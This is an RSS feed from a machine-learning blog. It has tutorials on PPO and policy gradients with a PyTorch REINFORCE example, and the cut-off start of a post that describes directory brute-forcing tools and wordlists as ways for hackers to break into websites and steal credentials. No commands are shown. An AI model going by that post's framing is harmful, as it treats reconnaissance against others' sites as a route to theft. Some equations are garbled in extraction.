<![CDATA[deepboltzer codes]]>https://deepboltzer.codesRSS for NodeTue, 23 Jul 2024 11:49:44 GMT60<![CDATA[Proximal Policy Optimization]]>https://deepboltzer.codes/proximal-policy-optimizationhttps://deepboltzer.codes/proximal-policy-optimizationThu, 22 Dec 2022 20:07:37 GMT<![CDATA[<p>Schulman et al. suggest a new policy gradient-based reinforcement learning approach that maintains some of the advantages of trust region proximation optimization (TRPO) while also being much simpler to implement. The general concept involves an alternation between data collection through environment interaction and the optimization of a so-called surrogate objective function using stochastic gradient ascent.</p><h2 id="heading-policy-optimization">Policy optimization</h2><h3 id="heading-policy-gradient-methods">Policy gradient methods</h3><p>First of all, since the policy gradient was touched upon in a previous post, it is assumed that the reader is somewhat familiar with the topic. Generally, policy gradient methods perform stochastic gradient ascent on an estimator of the policy gradient. The most common estimator is the following:</p><p>$$\hat{g} = \hat{\mathbb{E}}t\left[\nabla\theta\log\pi_\theta(a_t|s_t)\hat{A}_t \right]$$</p><p>In this formulation,</p><ul><li><p>\(\pi_\theta\) is a stochastic policy;</p></li><li><p>\(\hat{A}_t\) is an estimator of the advantage function at timestep \(t\);</p></li><li><p>\(\hat{\mathbb{E}}_t\left[...\right]\) is the empirical average over a finite batch of samples in an algorithm that alternates between sampling and optimization.</p></li></ul><p>For implementations of policy gradient methods, an objective function is constructed in such a way that the gradient is the policy gradient estimator. Therefore, said estimator can be calculated by differentiating the objective.</p><p>$$L^{PG}(\theta)=\hat{\mathbb{E}}t\left[\log\pi\theta(a_t|s_t)\hat{A}_t\right]$$</p><p>This objective function is also known as the policy gradient loss. If the advantage estimate is positive (i.e., the agent's actions in the sample trajectory resulted in a better-than-average return), the probability of selecting those actions again is increased. Conversely, if the advantage estimate is negative, the likelihood of selecting those actions again is decreased.</p><p>Continuously running gradient descent on the same batch of collected experience will cause the neural network's parameters to be updated far outside the range of where the data was originally collected. Since the advantage function is essentially a noisy estimate of the real advantage, it will in turn be corrupted to the point where it is completely wrong. Therefore, the policy will be destroyed if gradient descent is continually run on the same batch of collected experience.</p><h3 id="heading-trust-region-methods">Trust Region Methods</h3><p>The aforementioned trust region policy optimization algorithm (TRPO) aims to maximize an objective function while imposing a constraint on the size of the policy update (to avoid straying too far from the old policy within a single update), as this would destroy the policy.</p><p>$$\begin{align<em>} \max_\theta\,&\hat{\mathbb{E}}<em>t\left[\frac{\pi</em>\theta(a_t|s<em>t)}{\pi</em>{\theta_\text{old}}(a_t|s_t)}\hat{A}_t\right] \ \text{subject to }&\hat{\mathbb{E}}<em>t\left[KL\left[\pi</em>{\theta_\text{old}}(\cdot|s<em>t), \pi</em>\theta\right]\right]\leq \delta \end{align</em>}$$</p><p>Here, \(\theta_{\text{old}}\) is a vector containing the policy parameter before the update.</p><p>TRPO suggests using a penalty instead of a constraint because the latter adds additional overhead to the optimization process and can sometimes lead to very undesirable training behavior. This way, the former constraint is directly included in the optimization objective:</p><p>$$\max_{\theta}\hat{\mathbb{E}}_t\left[\frac{\pi\theta(a_t|s<em>t)}{\pi</em>{\theta_\text{old}}(a_t|s<em>t)}\hat{A}t-\beta,KL\left[\pi{\theta</em>\text{old}}(\cdot|s<em>t), \pi</em>\theta(\cdot|s_t)\right]\right]$$</p><p>That being said, TRPO itself uses a hard constraint instead of a penalty. This is because the introduced coefficient \(\beta\) turns out to be very tricky to set to a single value without affecting performance across different problems.</p><p>Therefore, PPO suggests additional modifications to optimize the penalty objective using stochastic gradient descent; choosing a fixed penalty coefficient \(\beta\) will not be enough.</p><h2 id="heading-clipped-surrogate-objective">Clipped Surrogate Objective</h2><p>Say \(r_t(\theta)\) is the probability ratio between the new updated policy and the old policy:</p><p>$$r<em>t(\theta) = \frac{\pi</em>\theta(a_t|s<em>t)}{\pi</em>{\theta_\text{old}}(a_t|s_t)}$$</p><p>$$\Rightarrow \text{ therefore } r(\theta_\text{old})=1.$$</p><p>So given a sequence of sampled action-state pairs, this \(r_t(\theta)\) value will be larger than 1 if the action is more likely now than it was in \(\pi_{\theta_{\text{old}}}\). On the other hand, if the action is less probable now than before the last gradient step, \(r_t(\theta)\) will be somewhere between 0 and 1.</p><p>Multiplying this ratio \(r_t(\theta)\) with the estimated advantage function results in a more readable version of the normal TRPO objective function, so-called a "surrogate" objective:</p><p>$$L^{CPI}(\theta) = \hat{\mathbb{E}}t\left[\frac{\pi\theta(a_t|s<em>t)}{\pi</em>{\theta_\text{old}}(a_t|s_t)}\hat{A}_t\right]=\hat{\mathbb{E}}_t\left[r_t(\theta)\hat{A}_t\right]$$</p><p>Maximizing this \(L^{CPI}\) without any further constraints would result in a very large policy update, which, as already explained, might end up destroying the policy. Therefore, Schulman et al. suggest penalizing those changes to the policy that would move \(r_t(\theta)\) too far away from 1. Consequently, this is our final result for the final objective:</p><p>$$L^{CLIP}(\theta) = \hat{\mathbb{E}}_t\left[\min(r_t(\theta)\hat{A}_t, \text{clip}(r_t(\theta),1-\epsilon,1+\epsilon)\hat{A}_t\right]$$</p><p>Basically this objective is a pessimistic bound on the unclipped objective. That is because the objective chooses the minimum between the normal unclipped policy gradient objective \(L^{CLIP}\) and a new clipped version of that objective. The latter discourages moving \(r_t\) outside of the interval \([1 - \epsilon, 1 + \epsilon]\). Two insightful figures are provided in the paper, helping to illustrate this concept.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671730033863/59c034fe-f584-4183-9d5f-559362b4b77b.png" alt="Schulman, et al. (2017)" class="image--center mx-auto" /></p><p>The first graph indicates that, for a single timestep t in \(L^{CPI}\), the selected action had an estimated outcome better than expected. Conversely, the second graph displays an instance when the chosen action resulted in a negative effect on the result. For example, the objective function flattens out for values of r that are too high while the advantage was positive. This means that if an action was good and is now a lot more likely than it was in the old policy update \(\pi_{\theta_\text{old}}\), the clipping prevents too large of an update based on just a single estimate. Again, this might destroy the policy because of the advantage function's noisy characteristics. Of course, on the other hand, for terms with a negative advantage, the clipping also avoids over-adjusting for these values since that might reduce their likelihood to zero while having the same effect of damaging the policy based on a single estimate, but this time in the opposite direction.</p><p>If, however, the advantage function is negative and <em>r</em> is large, meaning the chosen action was bad and is much more probable now than it was in the old policy \(\pi_{\theta_\text{old}}\), then it would be beneficial to reverse the update. And, as it so happens, this is the only case in which the unclipped version has a lower value than the clipped version, and it is favored by the minimum operator. This really showcases the finesse of PPO's objective function.</p><h2 id="heading-adaptive-kl-penalty-coefficient">Adaptive KL penalty coefficient</h2><p>Alternatively or additionally to the surrogate objective proposed by Schulman et al., they provide another concept, the so-called adaptive KL penalty coefficient. The general idea is to penalize the KL divergence and then adapt this penalty coefficient based on the last policy updates. Therefore, the procedure can be divided into two steps:</p><ul><li>First the policy is updated over several epochs by optimizing the KL-penalized objective:</li></ul><p>$$L^{KLPEN}(\theta) = \hat{\mathbb{E}}t\left[\frac{\pi\theta(a_t|s<em>t)}{\pi</em>{\theta_\text{old}}(a_t|s<em>t)}\hat{A}t - \beta KL[\pi{\theta</em>\text{old}}(\cdot|s<em>t), \pi</em>\theta(\cdot|s_t)]\right]$$</p><ul><li><p>Then \(d\) is computed as \(d = \hat{\mathbb{E}}_t[KL[\pi_{\theta_\text{old}}(\cdot|s_t), \pi_\theta(\cdot|s_t)]]\) to finally update the penalty coefficient \(\beta\) based on some target value of the KL divergence \(d_\text{targ}\):</p><ul><li><p>if \(d<\frac{d_\text{targ}}{1.5}: \beta \leftarrow \beta/2\)</p></li><li><p>if \(d>d_\text{targ} \times 1.5: \beta \leftarrow \beta\times2\)</p></li></ul></li></ul><p>This method seems to generally perform worse than the clipped surrogate objective; however, it is included simply because it still makes for an important baseline.</p><p>Also note that, while the parameters 1.5 and 2 are chosen heuristically, the algorithm is not particularly sensitive to them and the initial value of \(\beta\) is not relevant because the algorithm quickly adjusts it anyway.</p><h2 id="heading-testing-ppo-on-openai-gym">Testing PPO on OpenAI' Gym</h2><p>To test PPO, the algorithm was applied to several gym environments. Please note that the used implementation of the PPO algorithm originates from OpenAI's stable-baselines3 GitHub repository.</p><h3 id="heading-cartpole">CartPole</h3><p>This environment might be familiar from previous posts in this series. To quickly summarize, a pole is attached by an unactuated joint to a cart. The agent operates with an action space of two: it can apply force to the left (-1) or the right (+1). The model receives a reward of +1 each timestep if neither of the following conditions are met: the cart's x position exceeds a threshold of 2.4 units in either direction or the pole is more than 15 degrees from vertical; otherwise, the episode ends.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671730161111/c8b69022-321e-4edf-8571-37911d9b5fc2.gif" alt class="image--center mx-auto" /></p><p>We trained a PPO agent for 15000 timesteps on the environment. The agent reached the perfect mean reward of 500 for CartPole-v1 after only approximately 7500 timesteps of training.</p><p>Since gym allows for modification of its environments we created a custom version of CartPole named CartPole-v1k that extends the maximum number of timesteps in an episode from 500 (CartPole-v1) to 1000. Of course this means that the maximum reward for an episode also increased to 1000. As shown in the following figure the PPO agent trained on this new environment reached the maximum reward a little later after about 8500 timesteps.</p><p>The standard deviation of the reward during the 100 episodes each evaluation step also declines to 0 over even less than the first 8500 timesteps. This means the agent reaches the maximum reward in every single episode after that without fail.</p><p>Interestingly, the old model that was trained on the original environment also reached a reward of 1000 on the modified version over all 100 episodes it was evaluated (mean reward of 1000 with a standard deviation of 0). It seems safe to say that the agent not only reached its maximum reward after about 7500 timesteps but also perfected the act of balancing the pole over the next few thousand iterations.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671730201087/c0587c97-abf9-4faa-a1a7-4f0b9be260a4.png" alt class="image--center mx-auto" /></p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671730204524/16f9b808-8e8d-4398-9c8e-1376e81755ab.png" alt class="image--center mx-auto" /></p><h3 id="heading-carracing">CarRacing</h3><p>This environment consists of a racing car attempting to maneuver a race track. Observations comprise a 96x96-pixel image, and the action space contains three actions: steering, accelerating, and braking. Each frame is penalized with a negative reward of -0.1, while completion of a track section is rewarded with +1000/N, where N is the number of track sections. Thus, the final reward is calculated as 1000 - the number of frames it took for the agent to complete the track. An episode ends when the car finishes the entire track or moves outside of the 96x96-pixel plane.</p><p><img src="https://github.com/andywu0913/OpenAI-GYM-CarRacing-DQN/raw/master/resources/trial_400.gif" alt /></p><p>Yet again, we trained a PPO agent--this time over half a million timesteps. Although the mean reward did not fully stabilize over the training period because the agent was still trying out new--and sometimes weaker--strategies, the best model achieved a mean reward of 600 over 50 episodes of evaluation.</p><p>This agent was already able to navigate the track and only occasionally oversteered in curves, causing it to lose the track. The following graphic visualizes the 500,000-timestep learning period.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671730323733/eedf4bbe-9d34-41a4-a6c8-12b95ddc70ba.png" alt class="image--center mx-auto" /></p><h2 id="heading-conclusion">Conclusion</h2><p>In this post, we have looked at the Proximal Policy Optimization algorithm and its performance on two popular gym environments. We applied PPO to CartPole-v1 and a modified version of it, named CartPole-v1k, where the maximum number of timesteps per episode was increased from 500 to 1000. We trained a separate agent on the Car Racing environment and achieved a mean reward of 600 over 50 evaluation episodes.</p><p>PPO is an ideal tool to use with complex, continuous environments such as those discussed in this post. This algorithm operates reliably and efficiently, allowing us to create more sophisticated agents that are capable of outperforming their predecessors. With such powerful reinforcement learning algorithms now available, the possibilities for creating autonomous agents that can successfully interact with their environment are virtually limitless. We look forward to exploring more complex environments and scenarios in future posts.</p><h1 id="heading-references">References</h1><ul><li><p><a target="_blank" href="https://arxiv.org/abs/1707.06347">Schulman, <em>et al.</em> (2017)</a></p></li><li><p><a target="_blank" href="https://www.youtube.com/watch?v=5P7I-xPq8u8">Arxiv Insights' Video on the paper</a></p></li><li><p><a target="_blank" href="https://github.com/ischubert/stable-baselines3">Stable Baselines3</a></p></li><li><p><a target="_blank" href="https://gym.openai.com/envs/CartPole-v1/">CartPole</a></p></li><li><p><a target="_blank" href="https://gym.openai.com/envs/CarRacing-v0/">CarRacing</a></p></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/upload/v1671706358278/ffm9Xvq9_.jpeg<![CDATA[Introduction to Policy Gradients]]>https://deepboltzer.codes/introduction-to-policy-gradientshttps://deepboltzer.codes/introduction-to-policy-gradientsThu, 22 Dec 2022 08:35:25 GMT<![CDATA[<p>This post will introduce the core concepts underlying various <strong>policy gradient algorithms</strong>. As opposed to previously introduced methods - which suffered from the curse of dimensionality - it is not necessary to analyze the full action space to update the policy \(\pi \) . These algorithms are an approach to reinforcement learning utilizing <strong>stochastic gradient ascent</strong>.</p><h2 id="heading-the-goal">The Goal</h2><p>Those of you familiar with neural networks will probably have heard of stochastic gradient descent. The goal of stochastic gradient descent is to compute the gradient of a loss function to then adjust the parameters of the network and minimize the loss function by stepping in the opposite direction of the gradient.</p><p>We can utilize the very similar stochastic gradient ascent to approach reinforcement learning problems. To this end, we define a reward function \(J(\theta)\) measuring the quality of our policy \(\pi_{\theta}\). In reinforcement learning this is quite simple since reinforcement inherently utilizes rewards \(r\). Thus, the reward function is chosen to be the expected reward of a trajectory \(\tau\) generated by the current policy \(\pi_{\theta}\). Let \(G(\tau)\) be the infinite horizon discounted-return starting at time step \(t = 0\) for the trajectory \(\tau\).</p><p>The derivation of the policy gradient using finite or undiscounted returns are almost identical. For finite horizon \(T\) simply replace all \(\infty\) with \(T\).</p><p>$$G(\tau) = \sum_{t = 1}^\infty \gamma^t r_{t+1} \ J(\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} [ G(\tau) ] $$</p><p>If it is possible to now calculate the gradient of the reward function /latex we can take a stochastic gradient ascent step based on a hyperparameter \(\alpha\) to maximize the reward function:</p><p>$$\theta = \theta + \alpha \nabla_\theta J(\theta) $$</p><p>The only problem remaining is to determine what the gradient \(\nabla_\theta J(\theta)\) looks like.</p><h2 id="heading-how-to-compute-the-gradient">How to compute the Gradient</h2><p><strong>Step 1:</strong></p><p>To compute \(\mathbb{E}[X]\), we sum over all possible values of \( X=x\), which are weighted by their probability \( P(x)\). In other words, \( \mathbb{E}[X] = \sum_x P(x) x\).</p><p>If we sum over all possible trajectories \(\tau\), we can do something similar for \(J(\theta)\) by relying on the probability that \(\tau\) occurs given policy \(\pi_\theta\).</p><p>$$J(\theta) = \sum_\tau P(\tau | \theta) G(\tau) \ \nabla_\theta J(\theta) = \nabla_\theta \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} [ G(\tau) ] $$</p><p>$$J(\theta) = \nabla_\theta \sum_\tau P(\tau | \theta) G(\tau) = \sum_\tau \nabla_\theta P(\tau | \theta) G(\tau) $$</p><p><strong>Step 2:</strong></p><p>Given a function \(f(x)\), the log-derivative trick is useful for rewriting the derivative \(\frac{d}{dx} f(x)\)and relies upon the derivative of \(\log(x)\)being \(\frac{1}{x}\)and the chain rule.</p><p>$$\frac{d}{dx} f(x) = f(x) \frac{1}{f(x)} \frac{d}{dx} f(x) = f(x)\frac{d}{dx} \log(f(x)) $$</p><p>Since \(G(\tau)\) is independent of \(\theta\) we can apply this trick to rewrite \(P(\tau | \theta)\):</p><p>$$ J(\theta) = \sum_\tau \nabla_\theta P(\tau | \theta) G(\tau) \ = \sum_\tau P(\tau | \theta) \nabla_\theta \log(P(\tau | \theta)) G(\tau) $$</p><p><strong>Step 3:</strong></p><p>We still need an equation for \(P(\tau | \theta)\), but we can find it by thinking of the problem as a Markov decision process (MDP). Let's say that \(p(s_1)\) is the probability of starting a trajectory in state \(s_1\). Then, we can express \(P(\tau | \theta)\) by multiplying together the probabilities for each occurrence of all states \(s_t\) and actions \(a_t\).</p><p>$$P(\tau | \theta) = p(s_1) \prod_{t = 1}^\infty P(s_{t+1} | s_t, a_t) \pi_\theta(a_t | s_t) \ \log(P(\tau | \theta))$$</p><p>$$J(\theta) = \log(p(s_1)) \sum_{t = 1}^\infty \big( \log(P(s_{t+1} | s_t, a_t)) + \log(\pi_\theta(a_t | s_t))\big) $$</p><p><strong>Step 4:</strong></p><p>Please note that \(p(s_1)\) and \(P(s_{t+1} | s_t, a_t)\) are also not affected by \(\theta\).</p><p>$$ \nabla_\theta \log(P(\tau | \theta)) = \sum_{t = 1}^\infty \nabla_\theta \log(\pi_\theta(a_t | s_t))$$</p><p>$$\nabla_\theta J(\theta) = \sum_\tau P(\tau | \theta) \sum_{t = 1}^\infty \nabla_\theta \log(\pi_\theta(a_t | s_t)) G(\tau) $$</p><p>We can now reverse the first step, leaving us with the final equation that can be estimated by sampling multiple trajectories and taking the mean gradients for the sampled trajectories.</p><p>$$\nabla_\theta J(\theta) = \mathop{\mathbb{E}}{\tau \sim \pi\theta} \left[ \sum_{t = 1}^\infty \nabla_\theta \log(\pi_\theta(a_t | s_t)) G(\tau) \right]$$</p><h3 id="heading-baselines">Baselines</h3><p>When we encounter reinforcement learning issues, probability distributions like \(\pi_\theta(a|s), P(\tau | \theta), P(s_{t+1} | s_t, a_t)\) are constantly at play. Since these are all normalized by definition, given \(P_\theta(x)\), this means:</p><p>$$1 = \sum_x P_\theta(x).$$</p><p>If we do not take the gradient of both sides and use the log-derivative trick, we get:</p><p>$$\nabla_\theta 1 = \nabla_\theta \sum_x P_\theta(x) $$$$0 = \sum_x \nabla_\theta P_\theta(x) $$</p><p>$$0 = \sum_x P_\theta(x) \nabla_\theta \log(P_\theta(x))$$ $$0 = \mathop{\mathbb{E}}_{x \sim P_\theta(x)} \left[ \nabla_\theta \log(P_\theta(x)) \right]$$</p><p>This lemma, in combination with the rules for the expected value, yields the following given a state \(s_t\) and an arbitrary function \(b(s_t)\) only dependent on the state:</p><p>$$\mathop{\mathbb{E}}_{a_t \sim \pi_\theta(a_t | s_t)} \left[ \nabla_\theta \log(\pi(a_t | s_t)) b(s_t) \right] = \mathop{\mathbb{E}}_{a_t \sim \pi_\theta(a_t | s_t)} \left[ \nabla_\theta \log(\pi(a_t | s_t)) \right] \cdot \mathop{\mathbb{E}}_{a_t \sim \pi_\theta(a_t | s_t)} [b(s_t)]$$$$ = \mathop{\mathbb{E}}_{a_t \sim \pi_\theta(a_t | s_t)} \left[ \nabla_\theta \log(\pi(a_t | s_t)) \right] \cdot b(s_t)\ = 0 \cdot b(s_t)\ = 0 $$</p><p>Since the expected value of this expression is \(0\), we can freely add or subtract it from the policy gradient equation. In this case, the function \(b(s_t)\) is called a baseline. One common baseline is the value function \(V^{\pi_{\theta}}(s_t)\), as this reduces the variance when approximating the equation through sampling, thus helping us to determine the gradient with greater accuracy.</p><p>$$\nabla_\theta J(\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \left[ \sum_{t = 1}^\infty \nabla_\theta \log(\pi_\theta(a_t | s_t)) (G(\tau) - b(s_t)) \right] $$$$\nabla_\theta J(\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \left[ \sum_{t = 1}^\infty \nabla_\theta \log(\pi_\theta(a_t | s_t)) (G(\tau) - V^{\pi_{\theta}}(s_t)) \right]$$</p><p>Though this alteration requires a way to calculate \(V^{\pi_{\theta}}(s_t)\), it is most often achieved using a second neural network trained to approximate \(V^{\pi_{\theta}}(s_t)\) as best as possible.</p><h3 id="heading-alternative-expressions-for-policy-gradient">Alternative expressions for policy gradient</h3><p>The generalized form of policy gradient with finite-horizon and undiscounted return is defined as:</p><p>$$\nabla_\theta J(\pi_\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \big[\sum^T_{t=0}\nabla_\theta \log \pi_\theta(a_t|s_t)G(\tau) \big]$$</p><p>The sole components of this expression are already defined above in the derivation section, albeit for the infinite horizon. However, to observe the alternate forms of this expression, we would replace \(G()\) with \(_t\):</p><p>$$\nabla_\theta J(\pi_\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \big[\sum^T_{t=0}\nabla_\theta \log \pi_\theta(a_t|s_t)\Phi_t \big]$$</p><p>We can now use \(\Phi_t\) to form alternate approaches that would yield the same results for this expression. For completeness, we note that \(\Phi_t = G(\tau)\). Furthermore, \(R(\tau)\) can be dissolved into \(\sum_{t'=t}^{T}R(s_{t'},a_{t'},s_{t'+1})\). The reason behind this is that \(R(\tau)\) would mean we observe the sum of all rewards that were obtained; however, past rewards should not influence the reinforcement of the action. Consequently, it would only be sensible to observe the rewards that come after the action which would be reinforced: \(\Phi_t = \sum^T_{t'=t}R(s_{t'},a_{t'},s_{t'+1})\).</p><p>The on-policy action value function \(Q^\pi(s,a) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \big[R(\tau)|s_0=s, a_0=a\big]\), which gives the expected return when starting in state \(s\) and taking action \(a\), can also be expressed as \(\Phi_t\). This is proven using the law of iterated expectations, resulting in:</p><p>$$\nabla_\theta J(\pi_\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \big[\sum^T_{t=0}\nabla_\theta \log \pi_\theta(a_t|s_t) Q^{\pi_{\theta}}(s,a) \big]$$</p><p>The advantage function, \(A^\pi = Q^\pi(s,a)- V^\pi(s)\), which is used to compute the advantage of an action over other actions, is proven in the same way as the action-value function and can also be inserted into the policy gradient expression:</p><p>$$\nabla_\theta J(\pi_\theta) = \mathop{\mathbb{E}}_{\tau \sim \pi_\theta} \big[\sum^T_{t=0}\nabla_\theta \log \pi_\theta(a_t|s_t) A^{\pi_{\theta}}(s_t,a_t) \big]$$</p><p>All of these expressions have one thing in common: they have the same expected value of the policy gradient, even though they differ in form.</p><h2 id="heading-reinforce-an-exemplary-policy-gradient-algorithm">REINFORCE - an exemplary policy gradient algorithm</h2><p>To gain a better understanding of these underlying concepts, we will introduce REINFORCE, a popular policy gradient algorithm. The core idea of this algorithm is to estimate the return using Monte-Carlo methods based on episode samples and to utilize those to update the policy \(\pi\). The following pseudo-algorithm shows the generation of real and full sample trajectories. The estimated return \(G_t\), computed by using these trajectories, can then be used to update the policy parameter \(\theta\), due to the already-introduced equality between the expectation of the sample gradient and the actual gradient.</p><h3 id="heading-pseudoalgorithm">Pseudoalgorithm:</h3><ol><li><p>Initialize the policy parameter \(\theta\) at random.</p></li><li><p>Generate one trajectory on policy \(\pi_\theta: S_1, A_1, R_2, S_2, A_2, ..., S_T\)</p></li><li><p>For \(t=1, 2, ..., T:\)</p><ol><li><p>Estimate the return \(G_T\);</p></li><li><p>Update policy parameters: \(\theta \leftarrow \theta + \alpha\gamma^t G_t \nabla_\theta \log_{\pi_\theta}\left( A_t | S_t \right)\)</p></li></ol></li></ol><h3 id="heading-exemplary-implementation">Exemplary implementation</h3><p>To get a better understanding a code example for OpenAI Gym's CartPole environment is provided.</p><pre><code class="lang-python"><span class="hljs-keyword">import</span> sys<span class="hljs-keyword">import</span> torch <span class="hljs-keyword">import</span> gym<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np <span class="hljs-keyword">import</span> torch.nn <span class="hljs-keyword">as</span> nn<span class="hljs-keyword">import</span> torch.optim <span class="hljs-keyword">as</span> optim<span class="hljs-keyword">import</span> torch.nn.functional <span class="hljs-keyword">as</span> F<span class="hljs-keyword">from</span> torch.autograd <span class="hljs-keyword">import</span> Variable<span class="hljs-keyword">import</span> matplotlib.pyplot <span class="hljs-keyword">as</span> plt<span class="hljs-comment"># Constants</span>GAMMA = <span class="hljs-number">0.9</span><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PolicyNetwork</span>(<span class="hljs-params">nn.Module</span>):</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, num_inputs, num_actions, hidden_size, learning_rate=<span class="hljs-number">3e-4</span></span>):</span> super(PolicyNetwork, self).__init__() self.num_actions = num_actions self.linear1 = nn.Linear(num_inputs, hidden_size) self.linear2 = nn.Linear(hidden_size, num_actions) self.optimizer = optim.Adam(self.parameters(), lr=learning_rate) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">forward</span>(<span class="hljs-params">self, state</span>):</span> x = F.relu(self.linear1(state)) x = F.softmax(self.linear2(x), dim=<span class="hljs-number">1</span>) <span class="hljs-keyword">return</span> x <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_action</span>(<span class="hljs-params">self, state</span>):</span> state = torch.from_numpy(state).float().unsqueeze(<span class="hljs-number">0</span>) probs = self.forward(Variable(state)) highest_prob_action = np.random.choice(self.num_actions, p=np.squeeze(probs.detach().numpy())) log_prob = torch.log(probs.squeeze(<span class="hljs-number">0</span>)[highest_prob_action]) <span class="hljs-keyword">return</span> highest_prob_action, log_prob<span class="hljs-comment">#%%</span><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">update_policy</span>(<span class="hljs-params">policy_network, rewards, log_probs</span>):</span> discounted_rewards = [] <span class="hljs-keyword">for</span> t <span class="hljs-keyword">in</span> range(len(rewards)): Gt = <span class="hljs-number">0</span> pw = <span class="hljs-number">0</span> <span class="hljs-keyword">for</span> r <span class="hljs-keyword">in</span> rewards[t:]: Gt = Gt + GAMMA**pw * r pw = pw + <span class="hljs-number">1</span> discounted_rewards.append(Gt) discounted_rewards = torch.tensor(discounted_rewards) discounted_rewards = (discounted_rewards - discounted_rewards.mean()) / (discounted_rewards.std() + <span class="hljs-number">1e-9</span>) <span class="hljs-comment"># normalize discounted rewards</span> policy_gradient = [] <span class="hljs-keyword">for</span> log_prob, Gt <span class="hljs-keyword">in</span> zip(log_probs, discounted_rewards): policy_gradient.append(-log_prob * Gt) policy_network.optimizer.zero_grad() policy_gradient = torch.stack(policy_gradient).sum() policy_gradient.backward() policy_network.optimizer.step()<span class="hljs-comment">#%%</span><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span> env = gym.make(<span class="hljs-string">'CartPole-v0'</span>) policy_net = PolicyNetwork(env.observation_space.shape[<span class="hljs-number">0</span>], env.action_space.n, <span class="hljs-number">128</span>) max_episode_num = <span class="hljs-number">5000</span> max_steps = <span class="hljs-number">10000</span> numsteps = [] avg_numsteps = [] all_rewards = [] <span class="hljs-keyword">for</span> episode <span class="hljs-keyword">in</span> range(max_episode_num): state = env.reset() log_probs = [] rewards = [] <span class="hljs-keyword">for</span> steps <span class="hljs-keyword">in</span> range(max_steps): env.render() action, log_prob = policy_net.get_action(state) new_state, reward, done, _ = env.step(action) log_probs.append(log_prob) rewards.append(reward) <span class="hljs-keyword">if</span> done: update_policy(policy_net, rewards, log_probs) numsteps.append(steps) avg_numsteps.append(np.mean(numsteps[<span class="hljs-number">-10</span>:])) all_rewards.append(np.sum(rewards)) <span class="hljs-keyword">if</span> episode % <span class="hljs-number">1</span> == <span class="hljs-number">0</span>: sys.stdout.write(<span class="hljs-string">"episode: {}, total reward: {}, average_reward: {}, length: {}\n"</span>.format(episode, np.round(np.sum(rewards), decimals = <span class="hljs-number">3</span>), np.round(np.mean(all_rewards[<span class="hljs-number">-10</span>:]), decimals = <span class="hljs-number">3</span>), steps)) <span class="hljs-keyword">break</span> state = new_state plt.plot(numsteps) plt.plot(avg_numsteps) plt.xlabel(<span class="hljs-string">'Episode'</span>) plt.show()<span class="hljs-comment">#%%</span><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>: main()</code></pre><h4 id="heading-cartpole">CartPole</h4><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1671697800504/5JGCKVkME.PNG" alt class="image--center mx-auto" /></p><p>The environment consists of a pole attached to a cart via a joint, with forces that can be applied to the cart in both horizontal directions. The goal is to keep the pole upright (less than 15 degrees from vertical) for as long as possible (while the timesteps are limited to 200 max for this training). The agent receives a reward of +1 for each timestep it keeps the pole from falling over or moving the cart more than 2.4 units away from the center.</p><h2 id="heading-conclusion">Conclusion</h2><p>Policy Gradient is an efficient Reinforcement Learning (RL) method that does not need to analyze the entire action space, in contrast to previously introduced methods like Q-Learning and thus avoiding the curse of dimensionality.</p><h2 id="heading-references">References</h2><ul><li><p><a target="_blank" href="https://lilianweng.github.io/lil-log/2018/04/08/policy-gradient-algorithms.html">Lilian Wang: Policy Gradient Algorithms</a></p></li><li><p><a target="_blank" href="https://spinningup.openai.com/en/latest/spinningup/rl_intro.html#optional-formalism">OpenAI: Spinning Up</a></p></li><li><p><a target="_blank" href="https://medium.com/@thechrisyoon/deriving-policy-gradients-and-implementing-reinforce-f887949bd63">Chris Yoon: Deriving Policy Gradients and Implementing REINFORCE</a></p></li><li><p><a target="_blank" href="https://gym.openai.com/envs/CartPole-v1">OpenAI Gym Cartpole</a></p></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/U3sOwViXhkY/upload/v1650886014240/GE2CZshFw2.jpeg<![CDATA[What is Automated Content Discovery?]]>https://deepboltzer.codes/what-is-automated-content-discoveryhttps://deepboltzer.codes/what-is-automated-content-discoveryTue, 05 Apr 2022 10:20:26 GMT<![CDATA[<p>Hackers are always looking for new and innovative ways to find content on the internet. Automated content discovery tools make this process a lot easier by automating the entire process and helping hackers find what they're looking for quickly and easily. In this blog post, we will discuss automated content discovery tools, wordlists, FFUF, DIRB, and Gobuster. We will also provide examples of how these tools can be used to hack into websites and steal information. Stay tuned!What is Automated Discovery? </p><p>Automated content discovery, or ACD, is a process of finding and extracting content from websites automatically. This procedure is automated since it frequently entails hundreds, thousands, or even millions of requests to a web server. Using these requests, malicious individuals and organizations may be able to obtain information such as usernames and passwords. The end goal is to receive access to resources we didn't know existed before. Wordlists aid in the accomplishment of this objective by allowing us to check whether a file or directory exists on a website.What are Wordlists?</p><p>Wordlists are a collection of words that can be used to find information on the internet. They can be used to find usernames, passwords, and other sensitive information. The benefit of using wordlists is that they are easy to use and can be very effective in finding the information you're looking for. This is an excellent site for wordlists, with Daniel Miessler maintaining <a target="_blank" href="https://github.com/danielmiessler/SecLists">SecLists</a>.Automation Tools</p><p>There are a number of different automation tools that can be used for hacking purposes. Some of these tools include FFUF, DIRB, and Gobuster.</p><h3 